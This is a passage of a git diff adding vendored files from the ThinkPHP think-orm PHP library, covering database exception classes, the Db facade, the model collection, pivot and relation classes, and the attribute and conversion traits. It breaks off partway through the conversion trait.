+---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\exception; + +use Exception; + +/** + * Database相关异常处理类 + */ +if (class_exists('think\Exception')) { + class DbException extends \think\Exception + { + /** + * DbException constructor. + * @access public + * @param string $message + * @param array $config + * @param string $sql + * @param int $code + */ + public function __construct(string $message, array $config = [], string $sql = '', int $code = 10500) + { + $this->message = $message; + $this->code = $code; + + $this->setData('Database Status', [ + 'Error Code' => $code, + 'Error Message' => $message, + 'Error SQL' => $sql, + ]); + + unset($config['username'], $config['password']); + $this->setData('Database Config', $config); + } + } +} else { + + class DbException extends Exception + { + /** + * DbException constructor. + * @access public + * @param string $message + * @param array $config + * @param string $sql + * @param int $code + */ + public function __construct(string $message, array $config = [], string $sql = '', int $code = 10500) + { + $this->message = $message; + $this->code = $code; + + $this->setData('Database Status', [ + 'Error Code' => $code, + 'Error Message' => $message, + 'Error SQL' => $sql, + ]); + + unset($config['username'], $config['password']); + $this->setData('Database Config', $config); + } + + /** + * 保存异常页面显示的额外Debug数据 + * @var array + */ + protected $data = []; + + /** + * 设置异常额外的Debug数据 + * 数据将会显示为下面的格式 + * + * Exception Data + * -------------------------------------------------- + * Label 1 + * key1 value1 + * key2 value2 + * Label 2 + * key1 value1 + * key2 value2 + * + * @param string $label 数据分类,用于异常页面显示 + * @param array $data 需要显示的数据,必须为关联数组 + */ + final protected function setData($label, array $data) + { + $this->data[$label] = $data; + } + + /** + * 获取异常额外Debug数据 + * 主要用于输出到异常页面便于调试 + * @return array 由setData设置的Debug数据 + */ + final public function getData() + { + return $this->data; + } + } +} diff --git a/vendor/topthink/think-orm/src/db/exception/InvalidArgumentException.php b/vendor/topthink/think-orm/src/db/exception/InvalidArgumentException.php new file mode 100644 index 0000000..047e45e --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/InvalidArgumentException.php @@ -0,0 +1,21 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); +namespace think\db\exception; + +use Psr\SimpleCache\InvalidArgumentException as SimpleCacheInvalidArgumentInterface; + +/** + * 非法数据异常 + */ +class InvalidArgumentException extends \InvalidArgumentException implements SimpleCacheInvalidArgumentInterface +{ +} diff --git a/vendor/topthink/think-orm/src/db/exception/ModelEventException.php b/vendor/topthink/think-orm/src/db/exception/ModelEventException.php new file mode 100644 index 0000000..767bc1a --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/ModelEventException.php @@ -0,0 +1,19 @@ + +// +---------------------------------------------------------------------- + +namespace think\db\exception; + +/** + * 模型事件异常 + */ +class ModelEventException extends DbException +{ +} diff --git a/vendor/topthink/think-orm/src/db/exception/ModelNotFoundException.php b/vendor/topthink/think-orm/src/db/exception/ModelNotFoundException.php new file mode 100644 index 0000000..84a1525 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/ModelNotFoundException.php @@ -0,0 +1,44 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\exception; + +class ModelNotFoundException extends DbException +{ + protected $model; + + /** + * 构造方法 + * @access public + * @param string $message + * @param string $model + * @param array $config + */ + public function __construct(string $message, string $model = '', array $config = []) + { + $this->message = $message; + $this->model = $model; + + $this->setData('Database Config', $config); + } + + /** + * 获取模型类名 + * @access public + * @return string + */ + public function getModel() + { + return $this->model; + } + +} diff --git a/vendor/topthink/think-orm/src/db/exception/PDOException.php b/vendor/topthink/think-orm/src/db/exception/PDOException.php new file mode 100644 index 0000000..41c0d73 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/PDOException.php @@ -0,0 +1,41 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\exception; + +/** + * PDO异常处理类 + * 重新封装了系统的\PDOException类 + */ +class PDOException extends DbException +{ + /** + * PDOException constructor. + * @access public + * @param \PDOException $exception + * @param array $config + * @param string $sql + * @param int $code + */ + public function __construct(\PDOException $exception, array $config = [], string $sql = '', int $code = 10501) + { + $error = $exception->errorInfo; + + $this->setData('PDO Error Info', [ + 'SQLSTATE' => $error[0], + 'Driver Error Code' => isset($error[1]) ? $error[1] : 0, + 'Driver Error Message' => isset($error[2]) ? $error[2] : '', + ]); + + parent::__construct($exception->getMessage(), $config, $sql, $code); + } +} diff --git a/vendor/topthink/think-orm/src/facade/Db.php b/vendor/topthink/think-orm/src/facade/Db.php new file mode 100644 index 0000000..174a4f0 --- /dev/null +++ b/vendor/topthink/think-orm/src/facade/Db.php @@ -0,0 +1,86 @@ + +// +---------------------------------------------------------------------- + +namespace think\facade; + +if (class_exists('think\Facade')) { + class Facade extends \think\Facade + {} +} else { + class Facade + { + /** + * 始终创建新的对象实例 + * @var bool + */ + protected static $alwaysNewInstance; + + protected static $instance; + + /** + * 获取当前Facade对应类名 + * @access protected + * @return string + */ + protected static function getFacadeClass() + {} + + /** + * 创建Facade实例 + * @static + * @access protected + * @param bool $newInstance 是否每次创建新的实例 + * @return object + */ + protected static function createFacade(bool $newInstance = false) + { + $class = static::getFacadeClass() ?: 'think\DbManager'; + + if (static::$alwaysNewInstance) { + $newInstance = true; + } + + if ($newInstance) { + return new $class(); + } + + if (!self::$instance) { + self::$instance = new $class(); + } + + return self::$instance; + + } + + // 调用实际类的方法 + public static function __callStatic($method, $params) + { + return call_user_func_array([static::createFacade(), $method], $params); + } + } +} + +/** + * @see \think\DbManager + * @mixin \think\DbManager + */ +class Db extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'think\DbManager'; + } +} diff --git a/vendor/topthink/think-orm/src/model/Collection.php b/vendor/topthink/think-orm/src/model/Collection.php new file mode 100644 index 0000000..fd54272 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/Collection.php @@ -0,0 +1,250 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model; + +use think\Collection as BaseCollection; +use think\Model; +use think\Paginator; + +/** + * 模型数据集类 + */ +class Collection extends BaseCollection +{ + /** + * 延迟预载入关联查询 + * @access public + * @param array|string $relation 关联 + * @param mixed $cache 关联缓存 + * @return $this + */ + public function load($relation, $cache = false) + { + if (!$this->isEmpty()) { + $item = current($this->items); + $item->eagerlyResultSet($this->items, (array) $relation, [], false, $cache); + } + + return $this; + } + + /** + * 删除数据集的数据 + * @access public + * @return bool + */ + public function delete(): bool + { + $this->each(function (Model $model) { + $model->delete(); + }); + + return true; + } + + /** + * 更新数据 + * @access public + * @param array $data 数据数组 + * @param array $allowField 允许字段 + * @return bool + */ + public function update(array $data, array $allowField = []): bool + { + $this->each(function (Model $model) use ($data, $allowField) { + if (!empty($allowField)) { + $model->allowField($allowField); + } + + $model->save($data); + }); + + return true; + } + + /** + * 设置需要隐藏的输出属性 + * @access public + * @param array $hidden 属性列表 + * @return $this + */ + public function hidden(array $hidden) + { + $this->each(function (Model $model) use ($hidden) { + $model->hidden($hidden); + }); + + return $this; + } + + /** + * 设置需要输出的属性 + * @access public + * @param array $visible + * @return $this + */ + public function visible(array $visible) + { + $this->each(function (Model $model) use ($visible) { + $model->visible($visible); + }); + + return $this; + } + + /** + * 设置需要追加的输出属性 + * @access public + * @param array $append 属性列表 + * @return $this + */ + public function append(array $append) + { + $this->each(function (Model $model) use ($append) { + $model->append($append); + }); + + return $this; + } + + /** + * 设置父模型 + * @access public + * @param Model $parent 父模型 + * @return $this + */ + public function setParent(Model $parent) + { + $this->each(function (Model $model) use ($parent) { + $model->setParent($parent); + }); + + return $this; + } + + /** + * 设置数据字段获取器 + * @access public + * @param string|array $name 字段名 + * @param callable $callback 闭包获取器 + * @return $this + */ + public function withAttr($name, $callback = null) + { + $this->each(function (Model $model) use ($name, $callback) { + $model->withAttribute($name, $callback); + }); + + return $this; + } + + /** + * 绑定(一对一)关联属性到当前模型 + * @access protected + * @param string $relation 关联名称 + * @param array $attrs 绑定属性 + * @return $this + * @throws Exception + */ + public function bindAttr(string $relation, array $attrs = []) + { + $this->each(function (Model $model) use ($relation, $attrs) { + $model->bindAttr($relation, $attrs); + }); + + return $this; + } + + /** + * 按指定键整理数据 + * + * @access public + * @param mixed $items 数据 + * @param string $indexKey 键名 + * @return array + */ + public function dictionary($items = null, string &$indexKey = null) + { + if ($items instanceof self || $items instanceof Paginator) { + $items = $items->all(); + } + + $items = is_null($items) ? $this->items : $items; + + if ($items && empty($indexKey)) { + $indexKey = $items[0]->getPk(); + } + + if (isset($indexKey) && is_string($indexKey)) { + return array_column($items, null, $indexKey); + } + + return $items; + } + + /** + * 比较数据集,返回差集 + * + * @access public + * @param mixed $items 数据 + * @param string $indexKey 指定比较的键名 + * @return static + */ + public function diff($items, string $indexKey = null) + { + if ($this->isEmpty()) { + return new static($items); + } + + $diff = []; + $dictionary = $this->dictionary($items, $indexKey); + + if (is_string($indexKey)) { + foreach ($this->items as $item) { + if (!isset($dictionary[$item[$indexKey]])) { + $diff[] = $item; + } + } + } + + return new static($diff); + } + + /** + * 比较数据集,返回交集 + * + * @access public + * @param mixed $items 数据 + * @param string $indexKey 指定比较的键名 + * @return static + */ + public function intersect($items, string $indexKey = null) + { + if ($this->isEmpty()) { + return new static([]); + } + + $intersect = []; + $dictionary = $this->dictionary($items, $indexKey); + + if (is_string($indexKey)) { + foreach ($this->items as $item) { + if (isset($dictionary[$item[$indexKey]])) { + $intersect[] = $item; + } + } + } + + return new static($intersect); + } +} diff --git a/vendor/topthink/think-orm/src/model/Pivot.php b/vendor/topthink/think-orm/src/model/Pivot.php new file mode 100644 index 0000000..893c01b --- /dev/null +++ b/vendor/topthink/think-orm/src/model/Pivot.php @@ -0,0 +1,53 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model; + +use think\Model; + +/** + * 多对多中间表模型类 + */ +class Pivot extends Model +{ + + /** + * 父模型 + * @var Model + */ + public $parent; + + /** + * 是否时间自动写入 + * @var bool + */ + protected $autoWriteTimestamp = false; + + /** + * 架构函数 + * @access public + * @param array $data 数据 + * @param Model $parent 上级模型 + * @param string $table 中间数据表名 + */ + public function __construct(array $data = [], Model $parent = null, string $table = '') + { + $this->parent = $parent; + + if (is_null($this->name)) { + $this->name = $table; + } + + parent::__construct($data); + } + +} diff --git a/vendor/topthink/think-orm/src/model/Relation.php b/vendor/topthink/think-orm/src/model/Relation.php new file mode 100644 index 0000000..e823bd9 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/Relation.php @@ -0,0 +1,278 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model; + +use Closure; +use ReflectionFunction; +use think\db\BaseQuery as Query; +use think\db\exception\DbException as Exception; +use think\Model; + +/** + * 模型关联基础类 + * @package think\model + * @mixin Query + */ +abstract class Relation +{ + /** + * 父模型对象 + * @var Model + */ + protected $parent; + + /** + * 当前关联的模型类名 + * @var string + */ + protected $model; + + /** + * 关联模型查询对象 + * @var Query + */ + protected $query; + + /** + * 关联表外键 + * @var string + */ + protected $foreignKey; + + /** + * 关联表主键 + * @var string + */ + protected $localKey; + + /** + * 是否执行关联基础查询 + * @var bool + */ + protected $baseQuery; + + /** + * 是否为自关联 + * @var bool + */ + protected $selfRelation = false; + + /** + * 关联数据数量限制 + * @var int + */ + protected $withLimit; + + /** + * 关联数据字段限制 + * @var array + */ + protected $withField; + + /** + * 获取关联的所属模型 + * @access public + * @return Model + */ + public function getParent(): Model + { + return $this->parent; + } + + /** + * 获取当前的关联模型类的Query实例 + * @access public + * @return Query + */ + public function getQuery() + { + return $this->query; + } + + /** + * 获取关联表外键 + * @access public + * @return string + */ + public function getForeignKey() + { + return $this->foreignKey; + } + + /** + * 获取关联表主键 + * @access public + * @return string + */ + public function getLocalKey() + { + return $this->localKey; + } + + /** + * 获取当前的关联模型类的实例 + * @access public + * @return Model + */ + public function getModel(): Model + { + return $this->query->getModel(); + } + + /** + * 当前关联是否为自关联 + * @access public + * @return bool + */ + public function isSelfRelation(): bool + { + return $this->selfRelation; + } + + /** + * 封装关联数据集 + * @access public + * @param array $resultSet 数据集 + * @param Model $parent 父模型 + * @return mixed + */ + protected function resultSetBuild(array $resultSet, Model $parent = null) + { + return (new $this->model)->toCollection($resultSet)->setParent($parent); + } + + protected function getQueryFields(string $model) + { + $fields = $this->query->getOptions('field'); + return $this->getRelationQueryFields($fields, $model); + } + + protected function getRelationQueryFields($fields, string $model) + { + if (empty($fields) || '*' == $fields) { + return $model . '.*'; + } + + if (is_string($fields)) { + $fields = explode(',', $fields); + } + + foreach ($fields as &$field) { + if (false === strpos($field, '.')) { + $field = $model . '.' . $field; + } + } + + return $fields; + } + + protected function getQueryWhere(array &$where, string $relation): void + { + foreach ($where as $key => &$val) { + if (is_string($key)) { + $where[] = [false === strpos($key, '.') ? $relation . '.' . $key : $key, '=', $val]; + unset($where[$key]); + } elseif (isset($val[0]) && false === strpos($val[0], '.')) { + $val[0] = $relation . '.' . $val[0]; + } + } + } + + /** + * 更新数据 + * @access public + * @param array $data 更新数据 + * @return integer + */ + public function update(array $data = []): int + { + return $this->query->update($data); + } + + /** + * 删除记录 + * @access public + * @param mixed $data 表达式 true 表示强制删除 + * @return int + * @throws Exception + * @throws PDOException + */ + public function delete($data = null): int + { + return $this->query->delete($data); + } + + /** + * 限制关联数据的数量 + * @access public + * @param int $limit 关联数量限制 + * @return $this + */ + public function withLimit(int $limit) + { + $this->withLimit = $limit; + return $this; + } + + /** + * 限制关联数据的字段 + * @access public + * @param array $field 关联字段限制 + * @return $this + */ + public function withField(array $field) + { + $this->withField = $field; + return $this; + } + + /** + * 判断闭包的参数类型 + * @access protected + * @return mixed + */ + protected function getClosureType(Closure $closure) + { + $reflect = new ReflectionFunction($closure); + $params = $reflect->getParameters(); + + if (!empty($params)) { + $type = $params[0]->getType(); + return is_null($type) || Relation::class == $type->getName() ? $this : $this->query; + } + + return $this; + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + {} + + public function __call($method, $args) + { + if ($this->query) { + // 执行基础查询 + $this->baseQuery(); + + $result = call_user_func_array([$this->query, $method], $args); + + return $result === $this->query ? $this : $result; + } + + throw new Exception('method not exists:' . __CLASS__ . '->' . $method); + } +} diff --git a/vendor/topthink/think-orm/src/model/concern/Attribute.php b/vendor/topthink/think-orm/src/model/concern/Attribute.php new file mode 100644 index 0000000..6358bf8 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/Attribute.php @@ -0,0 +1,655 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use InvalidArgumentException; +use think\db\Raw; +use think\helper\Str; +use think\model\Relation; + +/** + * 模型数据处理 + */ +trait Attribute +{ + /** + * 数据表主键 复合主键使用数组定义 + * @var string|array + */ + protected $pk = 'id'; + + /** + * 数据表字段信息 留空则自动获取 + * @var array + */ + protected $schema = []; + + /** + * 当前允许写入的字段 + * @var array + */ + protected $field = []; + + /** + * 字段自动类型转换 + * @var array + */ + protected $type = []; + + /** + * 数据表废弃字段 + * @var array + */ + protected $disuse = []; + + /** + * 数据表只读字段 + * @var array + */ + protected $readonly = []; + + /** + * 当前模型数据 + * @var array + */ + private $data = []; + + /** + * 原始数据 + * @var array + */ + private $origin = []; + + /** + * JSON数据表字段 + * @var array + */ + protected $json = []; + + /** + * JSON数据表字段类型 + * @var array + */ + protected $jsonType = []; + + /** + * JSON数据取出是否需要转换为数组 + * @var bool + */ + protected $jsonAssoc = false; + + /** + * 是否严格字段大小写 + * @var bool + */ + protected $strict = true; + + /** + * 修改器执行记录 + * @var array + */ + private $set = []; + + /** + * 动态获取器 + * @var array + */ + private $withAttr = []; + + /** + * 获取模型对象的主键 + * @access public + * @return string|array + */ + public function getPk() + { + return $this->pk; + } + + /** + * 判断一个字段名是否为主键字段 + * @access public + * @param string $key 名称 + * @return bool + */ + protected function isPk(string $key): bool + { + $pk = $this->getPk(); + + if (is_string($pk) && $pk == $key) { + return true; + } elseif (is_array($pk) && in_array($key, $pk)) { + return true; + } + + return false; + } + + /** + * 获取模型对象的主键值 + * @access public + * @return mixed + */ + public function getKey() + { + $pk = $this->getPk(); + + if (is_string($pk) && array_key_exists($pk, $this->data)) { + return $this->data[$pk]; + } + + return; + } + + /** + * 设置允许写入的字段 + * @access public + * @param array $field 允许写入的字段 + * @return $this + */ + public function allowField(array $field) + { + $this->field = $field; + + return $this; + } + + /** + * 设置只读字段 + * @access public + * @param array $field 只读字段 + * @return $this + */ + public function readOnly(array $field) + { + $this->readonly = $field; + + return $this; + } + + /** + * 获取实际的字段名 + * @access protected + * @param string $name 字段名 + * @return string + */ + protected function getRealFieldName(string $name): string + { + if ($this->convertNameToCamel || !$this->strict) { + return Str::snake($name); + } + + return $name; + } + + /** + * 设置数据对象值 + * @access public + * @param array $data 数据 + * @param bool $set 是否调用修改器 + * @param array $allow 允许的字段名 + * @return $this + */ + public function data(array $data, bool $set = false, array $allow = []) + { + // 清空数据 + $this->data = []; + + // 废弃字段 + foreach ($this->disuse as $key) { + if (array_key_exists($key, $data)) { + unset($data[$key]); + } + } + + if (!empty($allow)) { + $result = []; + foreach ($allow as $name) { + if (isset($data[$name])) { + $result[$name] = $data[$name]; + } + } + $data = $result; + } + + if ($set) { + // 数据对象赋值 + $this->setAttrs($data); + } else { + $this->data = $data; + } + + return $this; + } + + /** + * 批量追加数据对象值 + * @access public + * @param array $data 数据 + * @param bool $set 是否需要进行数据处理 + * @return $this + */ + public function appendData(array $data, bool $set = false) + { + if ($set) { + $this->setAttrs($data); + } else { + $this->data = array_merge($this->data, $data); + } + + return $this; + } + + /** + * 获取对象原始数据 如果不存在指定字段返回null + * @access public + * @param string $name 字段名 留空获取全部 + * @return mixed + */ + public function getOrigin(string $name = null) + { + if (is_null($name)) { + return $this->origin; + } + + return array_key_exists($name, $this->origin) ? $this->origin[$name] : null; + } + + /** + * 获取对象原始数据 如果不存在指定字段返回false + * @access public + * @param string $name 字段名 留空获取全部 + * @return mixed + * @throws InvalidArgumentException + */ + public function getData(string $name = null) + { + if (is_null($name)) { + return $this->data; + } + + $fieldName = $this->getRealFieldName($name); + + if (array_key_exists($fieldName, $this->data)) { + return $this->data[$fieldName]; + } elseif (array_key_exists($fieldName, $this->relation)) { + return $this->relation[$fieldName]; + } + + throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); + } + + /** + * 获取变化的数据 并排除只读数据 + * @access public + * @return array + */ + public function getChangedData(): array + { + $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { + if ((empty($a) || empty($b)) && $a !== $b) { + return 1; + } + + return is_object($a) || $a != $b ? 1 : 0; + }); + + // 只读字段不允许更新 + foreach ($this->readonly as $key => $field) { + if (array_key_exists($field, $data)) { + unset($data[$field]); + } + } + + return $data; + } + + /** + * 直接设置数据对象值 + * @access public + * @param string $name 属性名 + * @param mixed $value 值 + * @return void + */ + public function set(string $name, $value): void + { + $name = $this->getRealFieldName($name); + + $this->data[$name] = $value; + } + + /** + * 通过修改器 批量设置数据对象值 + * @access public + * @param array $data 数据 + * @return void + */ + public function setAttrs(array $data): void + { + // 进行数据处理 + foreach ($data as $key => $value) { + $this->setAttr($key, $value, $data); + } + } + + /** + * 通过修改器 设置数据对象值 + * @access public + * @param string $name 属性名 + * @param mixed $value 属性值 + * @param array $data 数据 + * @return void + */ + public function setAttr(string $name, $value, array $data = []): void + { + $name = $this->getRealFieldName($name); + + if (isset($this->set[$name])) { + return; + } + + if (is_null($value) && $this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) { + // 自动写入的时间戳字段 + $value = $this->autoWriteTimestamp(); + } else { + // 检测修改器 + $method = 'set' . Str::studly($name) . 'Attr'; + + if (method_exists($this, $method)) { + $array = $this->data; + + $value = $this->$method($value, array_merge($this->data, $data)); + + $this->set[$name] = true; + if (is_null($value) && $array !== $this->data) { + return; + } + } elseif (isset($this->type[$name])) { + // 类型转换 + $value = $this->writeTransform($value, $this->type[$name]); + } + } + + // 设置数据对象属性 + $this->data[$name] = $value; + } + + /** + * 数据写入 类型转换 + * @access protected + * @param mixed $value 值 + * @param string|array $type 要转换的类型 + * @return mixed + */ + protected function writeTransform($value, $type) + { + if (is_null($value)) { + return; + } + + if ($value instanceof Raw) { + return $value; + } + + if (is_array($type)) { + [$type, $param] = $type; + } elseif (strpos($type, ':')) { + [$type, $param] = explode(':', $type, 2); + } + + switch ($type) { + case 'integer': + $value = (int) $value; + break; + case 'float': + if (empty($param)) { + $value = (float) $value; + } else { + $value = (float) number_format($value, (int) $param, '.', ''); + } + break; + case 'boolean': + $value = (bool) $value; + break; + case 'timestamp': + if (!is_numeric($value)) { + $value = strtotime($value); + } + break; + case 'datetime': + $value = is_numeric($value) ? $value : strtotime($value); + $value = $this->formatDateTime('Y-m-d H:i:s.u', $value, true); + break; + case 'object': + if (is_object($value)) { + $value = json_encode($value, JSON_FORCE_OBJECT); + } + break; + case 'array': + $value = (array) $value; + case 'json': + $option = !empty($param) ? (int) $param : JSON_UNESCAPED_UNICODE; + $value = json_encode($value, $option); + break; + case 'serialize': + $value = serialize($value); + break; + default: + if (is_object($value) && false !== strpos($type, '\\') && method_exists($value, '__toString')) { + // 对象类型 + $value = $value->__toString(); + } + } + + return $value; + } + + /** + * 获取器 获取数据对象的值 + * @access public + * @param string $name 名称 + * @return mixed + * @throws InvalidArgumentException + */ + public function getAttr(string $name) + { + try { + $relation = false; + $value = $this->getData($name); + } catch (InvalidArgumentException $e) { + $relation = $this->isRelationAttr($name); + $value = null; + } + + return $this->getValue($name, $value, $relation); + } + + /** + * 获取经过获取器处理后的数据对象的值 + * @access protected + * @param string $name 字段名称 + * @param mixed $value 字段值 + * @param bool|string $relation 是否为关联属性或者关联名 + * @return mixed + * @throws InvalidArgumentException + */ + protected function getValue(string $name, $value, $relation = false) + { + // 检测属性获取器 + $fieldName = $this->getRealFieldName($name); + $method = 'get' . Str::studly($name) . 'Attr'; + + if (isset($this->withAttr[$fieldName])) { + if ($relation) { + $value = $this->getRelationValue($relation); + } + + if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { + $value = $this->getJsonValue($fieldName, $value); + } else { + $closure = $this->withAttr[$fieldName]; + $value = $closure($value, $this->data); + } + } elseif (method_exists($this, $method)) { + if ($relation) { + $value = $this->getRelationValue($relation); + } + + $value = $this->$method($value, $this->data); + } elseif (isset($this->type[$fieldName])) { + // 类型转换 + $value = $this->readTransform($value, $this->type[$fieldName]); + } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { + $value = $this->getTimestampValue($value); + } elseif ($relation) { + $value = $this->getRelationValue($relation); + // 保存关联对象值 + $this->relation[$name] = $value; + } + + return $value; + } + + /** + * 获取JSON字段属性值 + * @access protected + * @param string $name 属性名 + * @param mixed $value JSON数据 + * @return mixed + */ + protected function getJsonValue($name, $value) + { + foreach ($this->withAttr[$name] as $key => $closure) { + if ($this->jsonAssoc) { + $value[$key] = $closure($value[$key], $value); + } else { + $value->$key = $closure($value->$key, $value); + } + } + + return $value; + } + + /** + * 获取关联属性值 + * @access protected + * @param string $relation 关联名 + * @return mixed + */ + protected function getRelationValue(string $relation) + { + $modelRelation = $this->$relation(); + + return $modelRelation instanceof Relation ? $this->getRelationData($modelRelation) : null; + } + + /** + * 数据读取 类型转换 + * @access protected + * @param mixed $value 值 + * @param string|array $type 要转换的类型 + * @return mixed + */ + protected function readTransform($value, $type) + { + if (is_null($value)) { + return; + } + + if (is_array($type)) { + [$type, $param] = $type; + } elseif (strpos($type, ':')) { + [$type, $param] = explode(':', $type, 2); + } + + switch ($type) { + case 'integer': + $value = (int) $value; + break; + case 'float': + if (empty($param)) { + $value = (float) $value; + } else { + $value = (float) number_format($value, (int) $param, '.', ''); + } + break; + case 'boolean': + $value = (bool) $value; + break; + case 'timestamp': + if (!is_null($value)) { + $format = !empty($param) ? $param : $this->dateFormat; + $value = $this->formatDateTime($format, $value, true); + } + break; + case 'datetime': + if (!is_null($value)) { + $format = !empty($param) ? $param : $this->dateFormat; + $value = $this->formatDateTime($format, $value); + } + break; + case 'json': + $value = json_decode($value, true); + break; + case 'array': + $value = empty($value) ? [] : json_decode($value, true); + break; + case 'object': + $value = empty($value) ? new \stdClass() : json_decode($value); + break; + case 'serialize': + try { + $value = unserialize($value); + } catch (\Exception $e) { + $value = null; + } + break; + default: + if (false !== strpos($type, '\\')) { + // 对象类型 + $value = new $type($value); + } + } + + return $value; + } + + /** + * 设置数据字段获取器 + * @access public + * @param string|array $name 字段名 + * @param callable $callback 闭包获取器 + * @return $this + */ + public function withAttribute($name, callable $callback = null) + { + if (is_array($name)) { + foreach ($name as $key => $val) { + $this->withAttribute($key, $val); + } + } else { + $name = $this->getRealFieldName($name); + + if (strpos($name, '.')) { + [$name, $key] = explode('.', $name); + + $this->withAttr[$name][$key] = $callback; + } else { + $this->withAttr[$name] = $callback; + } + } + + return $this; + } + +} diff --git a/vendor/topthink/think-orm/src/model/concern/Conversion.php b/vendor/topthink/think-orm/src/model/concern/Conversion.php new file mode 100644 index 0000000..f81850c --- /dev/null +++ b/vendor/topthink/think-orm/src/model/concern/Conversion.php @@ -0,0 +1,306 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\concern; + +use think\Collection; +use think\db\exception\DbException as Exception; +use think\helper\Str; +use think\Model; +use think\model\Collection as ModelCollection; +use think\model\relation\OneToOne; + +/** + * 模型数据转换处理 + */ +trait Conversion +{ + /** + * 数据输出显示的属性 + * @var array + */ + protected $visible = []; + + /** + * 数据输出隐藏的属性 + * @var array + */ + protected $hidden = []; + + /** + * 数据输出需要追加的属性 + * @var array + */ + protected $append = []; + + /** + * 数据集对象名 + * @var string + */ + protected $resultSetType; + + /** + * 数据命名是否自动转为驼峰 + * @var bool + */ + protected $convertNameToCamel; + + /** + * 转换数据为驼峰命名(用于输出) + * @access public + * @param bool $toCamel 是否自动驼峰命名 + * @return $this + */ + public function convertNameToCamel(bool $toCamel = true) + { + $this->convertNameToCamel = $toCamel; + return $this; + } + + /** + * 设置需要附加的输出属性 + * @access public + * @param array $append 属性列表 + * @return $this + */ + public function append(array $append = []) + { + $this->append = $append; + + return $this; + } + + /** + * 设置附加关联对象的属性 + * @access public + * @param string $attr 关联属性 + * @param string|array $append 追加属性名 + * @return $this + * @throws Exception + */ + public function appendRelationAttr(string $attr, array $append) + { + $relation = Str::camel($attr); + + if (isset($this->relation[$relation])) { + $model = $this->relation[$relation]; + } else { + $model = $this->getRelationData($this->$relation()); + } + + if ($model instanceof Model) { + foreach ($append as $key => $attr) { + $key = is_numeric($key) ? $attr : $key; + if (isset($this->data[$key])) { + throw new Exception('bind attr has exists:' . $key); + } + + $this->data[$key] = $model->$attr; + } + } + + return $this; + } + + /** + * 设置需要隐藏的输出属性 + * @access public + * @param array $hidden 属性列表 + * @return $this + */ + public function hidden(array $hidden = []) + { + $this->hidden = $hidden; + + return $this; + } + + /** + * 设置需要输出的属性 + * @access public + * @param array $visible + * @return $this + */ + public function visible(array $visible = []) + { + $this->visible = $visible; + + return $this; + } + + /** + * 转换当前模型对象为数组 + * @access public + * @return array + */ + public function toArray(): array + { + $item = []; + $hasVisible = false; + + foreach ($this->visible as $key => $val) { + if (is_string($val)) { + if (strpos($val, '.')) { + [$relation, $name] = explode('.', $val); + $this->visible[$relation][] = $name; + } else { + $this->visible[$val] = true; + $hasVisible = true; + } + unset($this->visible[$key]); + } + } + + foreach ($this->hidden as $key => $val) { + if (is_string($val)) { + if (strpos($val, '.')) { + [$relation, $name] = explode('.', $val); + $this->hidden[$relation][] = $name; + } else { + $this->hidden[$val] = true; + } + unset($this->hidden[$key]); + } + } + + // 合并关联数据 + $data = array_merge($this->data, $this->relation); + + foreach ($data as $key => $val) { + if ($val instanceof Model || $val instanceof ModelCollection) { + // 关联模型对象 + if (isset($this->visible[$key]) && is_array($this->visible[$key])) { + $val->visible($this->visible[$key]); + } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { + $val->hidden($this->hidden[$key]); + } + // 关联模型对象 + if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { + $item[$key] = $val->toArray(); + } + } elseif (isset($this->visible[$key])) { + $item[$key] = $this->getAttr($key); + } elseif (!isset($this->hidden[$key]) && !$hasVisible) { + $item[$key] = $this->getAttr($key); + } + } + + // 追加属性(必须定义获取器) + foreach ($this->append as $key => $name) { + $this->appendAttrToArray($item, $key, $name); + } + + if ($this->convertNameToCamel) { + foreach ($item as $key => $val) { + $name = Str::camel($key); + if ($name !== $key) { + $item[$name] = $val; + unset($item[$key]); + } + } + } + + return $item; + } + + protected function appendAttrToArray(array &$item, $key, $name) + { + if (is_array($name)) { + // 追加关联对象属性 + $relation = $this->getRelation($key, true); + $item[$key] = $relation ? $relation->append($name) + ->toArray() : []; + } elseif (strpos($name, '.')) { + [$key, $attr] = explode('.', $name); + // 追加关联对象属性 + $relation = $this->getRelation($key, true); + $item[$key] = $relation ? $relation->append([$attr]) + ->toArray() : []; + } else { + $value = $this->getAttr($name); + $item[$name] = $value; + + $this->getBindAttr($name, $value, $item); + } + } + + protected function getBindAttr(string $name, $value, array &$item = []) + { + $relation = $this->isRelationAttr($name); + if (!$relation) { + return false; + } + + $modelRelation = $this->$relation(); + + if ($modelRelation instanceof OneToOne) { + $bindAttr = $modelRelation->getBindAttr(); + + if (!empty($bindAttr)) { + unset($item[$name]); + } + + foreach ($bindAttr as $key => $attr) { + $key = is_numeric($key) ? $attr : $key; + + if (isset($item[$key])) { + throw new Exception('bind attr has exists:' . $key); + } + + $item[$key] = $value ? $value->getAttr($attr) : null; + } + } + } + + /** + * 转换当前模型对象为JSON字符串 + * @access public + * @param integer $options json参数 + * @return 